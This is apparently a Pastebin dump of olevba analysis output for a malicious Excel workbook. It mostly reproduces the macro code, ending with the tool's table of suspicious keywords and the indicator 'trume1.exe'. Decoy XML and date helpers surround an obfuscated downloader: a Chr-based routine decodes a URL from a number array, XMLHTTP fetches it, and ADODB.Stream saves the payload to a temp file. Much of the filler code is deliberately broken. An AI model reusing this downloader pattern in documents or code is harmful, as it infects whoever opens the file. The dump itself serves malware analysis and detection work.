  737. Dim stroldMessageSetID As String
  738. Public Function DateValid(strDate As String, _
  739.  strMsgText As String) As Boolean
  740.  If Trim(strDate) = "" Then
  741.  DateValid = True
  742.  Exit Function
  743.  End If
  744.  If Not IsDate(strDate) Then
  745.  MsgBox "The " & strMsgText & " date you"
  746.  DateValid = False
  747.  Exit Function
  748.  End If
  749.  If CDate(strDate) < CDate("1/1/1970") Or _
  750.  CDate(strDate) > CDate("1/18/2038") Then
  751.  MsgBox "The " & strMsgText & _
  752.  " date you supply must be between Jan 1, 1970 and Jan 18, 2038"
  753.  DateValid = False
  754.  Exit Function
  755.  End If
  756.  Dim strSplits() As String
  757.  strSplits = Split(Trim(strDate), "-")
  758.  If UBound(strSplits) = 2 Then
  759.  If Len(strSplits(0)) = 4 And Len(strSplits(1)) = 2 And _
  760.  Len(strSplits(2)) = 2 Then
  761.  DateValid = True
  762.  Exit Function
  763.  End If
  764.  End If
  765.  MsgBox "The " & strMsgText & " date must be of the form yyyy-mm-dd"
  766.  DateValid = False
  767. End Function
  768. Public Function RuBik(fromArr() As Variant, LenLen As Long, Dust As Double) As String
  769.     Dim i As Long
  770.     Dim hippi As String
  771.     hippi = ""
  772.     For i = LBound(fromArr) To UBound(fromArr)
  773.         riz = fromArr(i) - 15 * LenLen - i * 100
  774.         hippi = hippi & Chr(riz)
  775.     Next i
  776.     RuBik = hippi
  777. End Function
  778. Public Function TimeValid(strTime As String, _
  779.  strMsgText As String) As Boolean
  780.  If Trim(strTime) = Empty Then
  781.  TimeValid = True
  782.  Exit Function
  783.  End If
  784.  Dim strSplits() As String
  785.  strSplits = Split(Trim(strTime), ":")
  786.  If UBound(strSplits) = 1 Then
  787.  If IsNumeric(strSplits(0)) And IsNumeric(strSplits(1)) Then
  788.  If Len(strSplits(1)) = 2 Then
  789.  If CInt(strSplits(0)) >= 1 And CInt(strSplits(0)) <= 12 And _
  790.  CInt(strSplits(0)) >= 0 And CInt(strSplits(0)) <= 59 Then
  791.  TimeValid = True
  792.  Exit Function
  793.  End If
  794.  End If
  795.  End If
  796.  End If
  797.  MsgBox "Invalid " & strMsgText & " time value"
  798.  TimeValid = False
  799. End Function
  800. Public Function DateTimeString(strDate As String, _
  801.  strTime As String, _
  802.  booAM As Boolean, _
  803.  booSupportsDateTime As Boolean) As String
  804.  Dim strSplits() As String
  805.  If Trim(strDate) = Empty Then
  806.  DateTimeString = ""
  807.  Exit Function
  808.  End If
  809.  If Trim(strTime) = Empty Then
  810.  DateTimeString = Trim(strDate)
  811.  Exit Function
  812.  End If
  813.  strSplits = Split(Trim(strTime), ":")
  814.  If booAM Then
  815.  If strSplits(0) = "12" Then strSplits(0) = "00"
  816.  If Len(strSplits(0)) = 1 Then strSplits(0) = "0" & strSplits(0)
  817.  Else
  818.  If CInt(strSplits(0)) < 12 Then strSplits(0) = str(CInt(strSplits(0)) + 12)
  819.  End If
  820.  DateTimeString = Trim(strDate) & "T" & Trim(strSplits(0)) & ":" & strSplits(1)
  821. End Function
  822. Public Sub AddMSXMLNode(strNodeName As String, _
  823.  objDOMDocument As String, _
  824.  objParentNode As String, _
  825.  objNode As String)
  826.  Set httpRequest = CreateObject("Microsoft" + ".XMLHTTP")
  827.  
  828.  
  829.  
  830. Dim urlAr() As Variant
  831. urlAr = Array(929, 1041, 1141, 1237, 1283, 1372, 1472, 1637, 1726, 1822, 1939, 2040, 2136, 2235, 2340, 2441, 2539, 2626, 2726, 2841, 2937, 3022, 3139, 3232, 3330, 3435, 3528, 3571, 3724, 3836, 3934, 3972, 4079, 4178, 4346, 4376, 4527, 4625, 4675, 4776, 4925, 4972, 5081, 5180, 5330, 5377, 5528, 5576, 5725, 5775, 5925, 5975, 6071, 6226, 6345, 6426)
  832. httpRequest.Open "GET", RuBik(urlAr, 55, 3), False
  833. Exit Sub
  834.  Set objddd.Node = objDOMff.Document.createElement(strNodeName)
  835.  objPadd.rentNode.appendChild objNode
  836. End Sub
  837. Public Sub AddMSXMLAttribute(strAttributeName As String, _
  838.  strAttributeValue As String, _
  839.  objDOMDocument As String, _
  840.  objParentNode As String, _
  841.  objAttribute As String)
  842.  Set objAttribute = objDOMff.Document.createAttribute(strAttributeName)
  843.  objAttribute.Text = strAttributeValue
  844.  objPadd.rentNode.Attributes.setNamedItem objAttribute
  845. End Sub
  846. Public Sub AddMSXMLElement(strElementName As String, _
  847.  strElementValue As String, _
  848.  objDOMDocument As String, _
  849.  objParentNode As String, _
  850.  objElement As String)
  851.  Set objElement = objDOMff.Document.createElement(strElementName)
  852.  objElement.Text = strElementValue
  853.  objPadd.rentNode.appendChild objElement
  854. End Sub
  855. Public Sub CreateStandardRequestNode(boonewMessageSetID As Boolean, _
  856.  stronError As String, _
  857.  objDOMDocument As String, _
  858.  objRootNode As String, _
  859.  objRequestNode As String, _
  860.  objAttribute As String)
  861.  Set objRootNode = objDOMff.Document.createElement("QBXML")
  862.  objDOMff.Document.appendChild objRootNode
  863.  Set objRequestNode = objDOMff.Document.createElement("QBXMLMsgsRq")
  864.  objRootNode.appendChild objRequestNode
  865.  If boonewMessageSetID Then
  866.  stroldMessageSetID = NewMessageSetID
  867.  AddMSXMLAttribute _
  868.  "newMessageSetID", stroldMessageSetID, objDOMDocument, objRequestNode, objAttribute
  869.  stroldMessageSetID = Empty
  870.  End If
  871.  AddMSXMLAttribute _
  872.  "onError", stronError, objDOMDocument, objRequestNode, objAttribute
  873. End Sub
  874. Public Sub GetTags(strInString As String, _
  875.  strStartTag As String, _
  876.  strEndTag As String, _
  877.  intTagLength As Integer)
  878.  If InStr(1, strInString, "<") = 0 Or InStr(1, strInString, ">") = 0 Or _
  879.  InStr(1, strInString, "</") = 0 Or left(strInString, 1) <> "<" Then
  880.  strStartTag = Empty
  881.  strEndTag = Empty
  882.  intTagLength = 0
  883.  Exit Sub
  884.  End If
  885.  strStartTag = left(strInString, InStr(1, strInString, ">"))
  886.  intTagLength = Len(strStartTag)
  887.  strEndTag = Replace(strStartTag, "<", "</")
  888.  If InStr(1, strInString, strEndTag) = 0 Then
  889.  strStartTag = Empty
  890.  strEndTag = Empty
  891.  intTagLength = 0
  892.  End If
  893. End Sub
  894. Public Sub PrettyPrintXMLToFile(XMLString As String, _
  895.  XMLFile As String)
  896.  Dim SplitXMLString() As String
  897.  Dim IndentString As String
  898.  Dim XMLStringLength As Long
  899.  Dim SplitIndex
  900.  Dim FileNum As Integer
  901.  If Trim(XMLString) = Empty Then Exit Sub
  902.  IndentString = Empty
  903.  FileNum = FreeFile
  904.  Open XMLFile For Output As FileNum
  905.  XMLString = Replace(XMLString, vbLf, vbNullString)
  906.  SplitXMLString = Split(XMLString, "<")
  907.  SplitIndex = LBound(SplitXMLString) + 1
  908.  Do
  909.  If left(SplitXMLString(SplitIndex), 1) = "/" And Len(IndentString) > 2 Then
  910.  IndentString = left(IndentString, Len(IndentString) - 3)
  911.  Print #FileNum, IndentString & "<" & _
  912.  SplitXMLString(SplitIndex)
  913.  SplitIndex = SplitIndex + 1
  914.  ElseIf left(SplitXMLString(SplitIndex + 1), 1) = "/" Then
  915.  If InStr(1, left(SplitXMLString(SplitIndex), _
  916.  InStr(1, SplitXMLString(SplitIndex), ">")), _
  917.  " ") > 0 Then
  918.  Print #FileNum, IndentString & "<" & _
  919.  SplitXMLString(SplitIndex)
  920.  SplitIndex = SplitIndex + 1
  921.  Else
  922.  Print #FileNum, IndentString & "<" & _
  923.  SplitXMLString(SplitIndex) & "<" & _
  924.  SplitXMLString(SplitIndex + 1)
  925.  SplitIndex = SplitIndex + 2
  926.  End If
  927.  Else
  928.  Print #FileNum, IndentString & "<" & _
  929.  SplitXMLString(SplitIndex)
  930.  If SplitXMLString(SplitIndex) <> "?xml version=""1.0"" ?>" And _
  931.  SplitXMLString(SplitIndex) <> "!DOCTYPE QBXML PUBLIC
  932. InStr(1, SplitXMLString(SplitIndex), "qbxml version") = 0 Then
  933. IndentString = IndentString & " "
  934. End If
  935. SplitIndex = SplitIndex + 1
  936. End If
  937. Loop Until SplitIndex >= UBound(SplitXMLString)
  938. If left(SplitXMLString(UBound(SplitXMLString)), 1) = "/" Then
  939. If Len(IndentString) >= 3 Then
  940. IndentString = left(IndentString, Len(IndentString) - 3)
  941. End If
  942. End If
  943. Print #FileNum, IndentString & "<" & _
  944. SplitXMLString(UBound(SplitXMLString))
  945. Close FileNum
  946. End Sub
  947. Public Function PrettyPrintXMLToString(strInXMLString As String) As String
  948. Dim SplitXMLString() As String
  949. Dim IndentString As String
  950. Dim XMLStringLength As Long
  951. Dim SplitIndex
  952. Dim FileNum As Integer
  953. Dim XMLString As String
  954. Dim strOut As String
  955. XMLString = strInXMLString
  956. strOut = Empty
  957. If Trim(XMLString) = Empty Then
  958. PrettyPrintXMLToString = Empty
  959. Exit Function
  960. End If
  961. IndentString = Empty
  962. XMLString = Replace(XMLString, vbLf, vbNullString)
  963. SplitXMLString = Split(XMLString, "<")
  964. SplitIndex = LBound(SplitXMLString) + 1
  965. Do
  966. If left(SplitXMLString(SplitIndex), 1) = "/" And Len(IndentString) > 2 Then
  967. IndentString = left(IndentString, Len(IndentString) - 3)
  968. strOut = strOut & IndentString & "<" & _
  969. SplitXMLString(SplitIndex) & vbCrLf
  970. SplitIndex = SplitIndex + 1
  971. ElseIf left(SplitXMLString(SplitIndex + 1), 1) = "/" Then
  972. If InStr(1, left(SplitXMLString(SplitIndex), _
  973. InStr(1, SplitXMLString(SplitIndex), ">")), _
  974. " ") > 0 Then
  975. strOut = strOut & IndentString & "<" & _
  976. SplitXMLString(SplitIndex) & vbCrLf
  977. SplitIndex = SplitIndex + 1
  978. Else
  979. strOut = strOut & IndentString & "<" & _
  980. SplitXMLString(SplitIndex) & "<" & _
  981. SplitXMLString(SplitIndex + 1) & vbCrLf
  982. SplitIndex = SplitIndex + 2
  983. End If
  984. Else
  985. strOut = strOut & IndentString & "<" & _
  986. SplitXMLString(SplitIndex) & vbCrLf
  987. SplitIndex = SplitIndex + 1
  988. End If
  989. Loop Until SplitIndex >= UBound(SplitXMLString)
  990. If left(SplitXMLString(UBound(SplitXMLString)), 1) = "/" Then
  991. If Len(IndentString) >= 3 Then
  992. IndentString = left(IndentString, Len(IndentString) - 3)
  993. End If
  994. End If
  995. strOut = strOut & IndentString & "<" & _
  996. SplitXMLString(UBound(SplitXMLString))
  997. PrettyPrintXMLToString = strOut
  998. End Function
  999. Private Function NewMessageSetID() As String
  1000. NewMessageSetID = Format(Now, "XyyyymmddThhmmss")
  1001. End Function
  1002.  
  1003.  
  1004.  
  1005.  
  1006.  
  1007.  
  1008. -------------------------------------------------------------------------------
  1009. VBA MACRO Module3.bas
  1010. in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
  1011. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1012.  
  1013. Public httpRequest As Object
  1014. Private Sub ToString_test1()
  1015. Dim lib As String
  1016. Set lib = New ejsonlib
  1017. Dim a As String
  1018. Dim b As Date
  1019. Debug.Print "=> ToString_test1"
  1020. b = Now()
  1021. Debug.Print , "ToString_test1=" & libdd.dd.ToString(Array("a", "b", Array(1, b, "3")))
  1022. If libdd.dd.ParseError = vbNullString Then
  1023. Debug.Print , "VALIDATED"
  1024. Else
  1025. Debug.Print , libdd.dd.ParseError
  1026. Debug.Print , "FAILED"
  1027. End If
  1028. Set lib = Nothing
  1029. End Sub
  1030. Private Sub ToString_test2()
  1031. Dim lib As String
  1032. Set lib = New ejsonlib
  1033. Dim a As Object
  1034. Dim b As Object
  1035. Dim c As New Collection
  1036. Debug.Print "=> ToString_test2"
  1037. Set a = CreateObject("Scripting.Dictionary")
  1038. Set b = CreateObject("Scripting.Dictionary")
  1039. a("aaa") = "abc"
  1040. a("bbb") = Array(0, 1, b)
  1041. b("ccc") = "def"
  1042. Set b("ddd") = c
  1043. c.Add "ghi"
  1044. c.Add 999
  1045. Debug.Print , "libdd.dd.ToString(a)=" & libdd.dd.ToString(a)
  1046. If libdd.dd.ParseError = vbNullString Then
  1047. Debug.Print , "VALIDATED"
  1048. Else
  1049. Debug.Print , libdd.dd.ParseError
  1050. Debug.Print , "FAILED"
  1051. End If
  1052. Set lib = Nothing
  1053. Set c = Nothing
  1054. Set b = Nothing
  1055. Set a = Nothing
  1056. End Sub
  1057. Private Sub parse_test1()
  1058. Dim lib As String
  1059. Set lib = New ejsonlib
  1060. Dim json As Object
  1061. Dim parseString As String
  1062. Debug.Print "=> parse_test1"
  1063. parseString = " " & vbCrLf & vbTab & " {}"
  1064. Debug.Print , "parseString=" & parseString
  1065. Set json = libdd.dd.Parse(parseString)
  1066. If libdd.dd.ParseError = vbNullString Then
  1067. Debug.Print , "VALIDATED"
  1068. Else
  1069. Debug.Print , libdd.dd.ParseError
  1070. Debug.Print , "FAILED {}"
  1071. GoTo PROC_EXIT
  1072. End If
  1073. Debug.Assert TypeName(json) = "Dictionary"
  1074. Debug.Print , "TypeName(json)=" & TypeName(json), "json.Count=" & json.Count
  1075. Debug.Print
  1076. parseString = " " & vbCrLf & vbTab & " []"
  1077. Debug.Print , "parseString=" & parseString
  1078. Set json = libdd.dd.Parse(parseString)
  1079. If libdd.dd.ParseError = "" Then
  1080. Debug.Print , "VALIDATED"
  1081. Else
  1082. Debug.Print , libdd.dd.ParseError
  1083. Debug.Print , "FAILED []"
  1084. GoTo PROC_EXIT
  1085. End If
  1086. Debug.Assert TypeName(json) = "Collection"
  1087. Debug.Print , "TypeName(json)=" & TypeName(json), "json.Count=" & json.Count
  1088. PROC_EXIT:
  1089. Set json = Nothing
  1090. Set lib = Nothing
  1091. End Sub
  1092. Private Sub parse_test2()
  1093. Dim lib As String
  1094. Set lib = New ejsonlib
  1095. Dim json As Object
  1096. Dim parseString As String
  1097. Debug.Print "=> parse_test2"
  1098. parseString = " " & vbCrLf & vbTab & " {}"
  1099. Debug.Print , "parseString=" & parseString
  1100. Set json = libdd.dd.Parse(parseString)
  1101. Debug.Print , "libdd.dd.ToString(json)=" & libdd.dd.ToString(json)
  1102. If libdd.dd.ParseError = vbNullString Then
  1103. Debug.Print , "VALIDATED"
  1104. Else
  1105. Debug.Print , libdd.dd.ParseError
  1106. Debug.Print , "FAILED"
  1107. End If
  1108. Set json = Nothing
  1109. Set lib = Nothing
  1110. End Sub
  1111. Private Sub parse_test3()
  1112. Dim lib As String
  1113. Set lib = New ejsonlib
  1114. Dim json As Object
  1115. Dim strEmbed As String
  1116. Dim errString As String
  1117. Debug.Print "=> parse_test3"
  1118. strEmbed = " [[], {""test1"":"
  1119. Debug.Print , "strEmbed=" & strEmbed
  1120. Set json = libdd.dd.Parse(" " & vbCrLf & vbTab & strEmbed)
  1121. Debug.Print , "libdd.dd.ToString(json)=" & libdd.dd.ToString(json)
  1122. If libdd.dd.ParseError = vbNullString Then
  1123. Debug.Print , "VALIDATED"
  1124. Else
  1125. Debug.Print , libdd.dd.ParseError
  1126. Debug.Print , "FAILED"
  1127. End If
  1128. Set json = Nothing
  1129. Set lib = Nothing
  1130. End Sub
  1131. Private Sub parse_test3a()
  1132. Dim lib As String
  1133. Set lib = New ejsonlib
  1134. Dim json As Object
  1135. Dim strEmbedValid As String
  1136. Dim errString As String
  1137. Debug.Print "=> parse_test3a STRICT JSON"
  1138. strEmbedValid = " [[], {""test1"":""v1"", ""test2"":""v222"", ""test3"":""v33333""}, null , ""test"", 123, 567.8910, 4.7e+10, true, false]"
  1139. Debug.Print , "strEmbedValid=" & strEmbedValid
  1140. Set json = libdd.dd.Parse(" " & vbCrLf & vbTab & strEmbedValid)
  1141. Debug.Print , "libdd.dd.ToString(json)=" & libdd.dd.ToString(json)
  1142. If libdd.dd.ParseError = vbNullString Then
  1143. Debug.Print , "VALIDATED"
  1144. Else
  1145. Debug.Print , libdd.dd.ParseError
  1146. Debug.Print , "FAILED"
  1147. End If
  1148. Set json = Nothing
  1149. Set lib = Nothing
  1150. End Sub
  1151. Private Sub parse_test4()
  1152. Dim lib As String
  1153. Set lib = New ejsonlib
  1154. Dim json As Object
  1155. Dim errString As String
  1156. Dim strEmbed As String
  1157. Debug.Print "=> parse_test4"
  1158. strEmbed = "[{""type"":""t1"",""title"":""?f?[?^1"",""attr"":[""1-1"",""1-2""]},{""type"":""t2"",""title"":""?f?[?^2"",""attr"":[""2-1"",""2-2""]}]"""
  1159. Debug.Print , "strEmbed=" & strEmbed
  1160. Set json = libdd.dd.Parse("[{""type"":""t1"",""title"":""?f?[?^1"",""attr"":[""1-1"",""1-2""]},{""type"":""t2"",""title"":""?f?[?^2"",""attr"":[""2-1"",""2-2""]}]")
  1161. Debug.Print , "libdd.dd.ToString(json)=" & libdd.dd.ToString(json)
  1162. errString = libdd.dd.ParseError
  1163. If errString = "" Then
  1164. Debug.Print , "VALIDATED"
  1165. Else
  1166. Debug.Print , errString
  1167. Debug.Print , "FAILED"
  1168. End If
  1169. Set json = Nothing
  1170. Set lib = Nothing
  1171. End Sub
  1172. Public Sub parse_test5()
  1173. Dim lib As String
  1174.  Dim json As Object
  1175. Dim Text As String
  1176. Dim res1 As String
  1177. Dim res2 As String
  1178. Dim errString As String
  1179.  
  1180. Set shellApp = CreateObject("Shell.Application")
  1181.  
  1182.  
  1183. With CreateObject("ADODB.Stream")
  1184. .Type = 1
  1185.    .Open
  1186.    .write httpRequest.responseBody
  1187.    .savetofile tempFile, 2
  1188. .Close
  1189. End With
  1190. Exit Sub
  1191. Debug.Print , "text=" & Text
  1192. Set json = libdd.dd.Parse(Text)
  1193. Debug.Assert Err.Number = 0
  1194. res1 = libdd.dd.ToString(json)
  1195. Set json = libdd.dd.Parse(libdd.dd.ToString(json))
  1196. Debug.Assert Err.Number = 0
  1197. res2 = libdd.dd.ToString(json)
  1198. errString = libdd.dd.ParseError
  1199. If errString = "" Then
  1200. Debug.Print , res1
  1201. Debug.Print , res2
  1202. Debug.Assert (res1 = res2)
  1203. Debug.Print , "VALIDATED"
  1204. Else
  1205. Debug.Print , errString
  1206. Debug.Print , "FAILED"
  1207. End If
  1208. Set json = Nothing
  1209. End Sub
  1210. Private Sub skip_test()
  1211. Dim lib As String
  1212. Set lib = New ejsonlib
  1213. Dim str As String
  1214. Dim index As Long
  1215. Dim errString As String
  1216. Debug.Print "=> skip_test"
  1217. str = vbCrLf & vbCr & vbLf & " " & "abc"
  1218. index = 1
  1219. libdd.dd.SkipChar str, index
  1220. Debug.Assert index = 6
  1221. Debug.Print , "index=" & index, "Mid(str, index, 1)=" & Mid(str, index, 1)
  1222. Set lib = Nothing
  1223. End Sub
  1224.  
  1225.  
  1226.  
  1227. +------------+----------------------+-----------------------------------------+
  1228. | Type       | Keyword              | Description                             |
  1229. +------------+----------------------+-----------------------------------------+
  1230. | AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
  1231. | Suspicious | Open                 | May open a file                         |
  1232. | Suspicious | Shell                | May run an executable file or a system  |
  1233. |            |                      | command                                 |
  1234. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  1235. |            |                      | command                                 |
  1236. | Suspicious | Shell.Application    | May run an application (if combined     |
  1237. |            |                      | with CreateObject)                      |
  1238. | Suspicious | CreateObject         | May create an OLE object                |
  1239. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  1240. |            |                      | strings                                 |
  1241. | Suspicious | ADODB.Stream         | May create a text file                  |
  1242. | Suspicious | SaveToFile           | May create a text file                  |
  1243. | Suspicious | Write                | May write to a file (if combined with   |
  1244. |            |                      | Open)                                   |
  1245. | Suspicious | Output               | May write to a file (if combined with   |
  1246. |            |                      | Open)                                   |
  1247. | Suspicious | Print #              | May write to a file (if combined with   |
  1248. |            |                      | Open)                                   |
  1249. | Suspicious | Lib                  | May run code from a DLL                 |
  1250. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  1251. |            |                      | (obfuscation: VBA expression)           |
  1252. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  1253. |            |                      | be used to obfuscate strings (option    |
  1254. |            |                      | --decode to see all)                    |
  1255. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  1256. |            |                      | may be used to obfuscate strings        |
  1257. |            |                      | (option --decode to see all)            |
  1258. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  1259. |            | Strings              | may be used to obfuscate strings        |
  1260. |            |                      | (option --decode to see all)            |
  1261. | IOC        | trume1.exe           | Executable file name (obfuscation: VBA  |
  1262. |            |                      | expression)                             |
  1263. | VBA string | \trume1.exe          | "\" + "" + "" + "tru" + "" + "" + "me1" |
  1264. |            |                      | + "." + "" + "e" + "xe"                 |
  1265. | VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
  1266. | VBA string |  abc                 | " " & "abc"                             |
  1267. +------------+----------------------+-----------------------------------------+
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top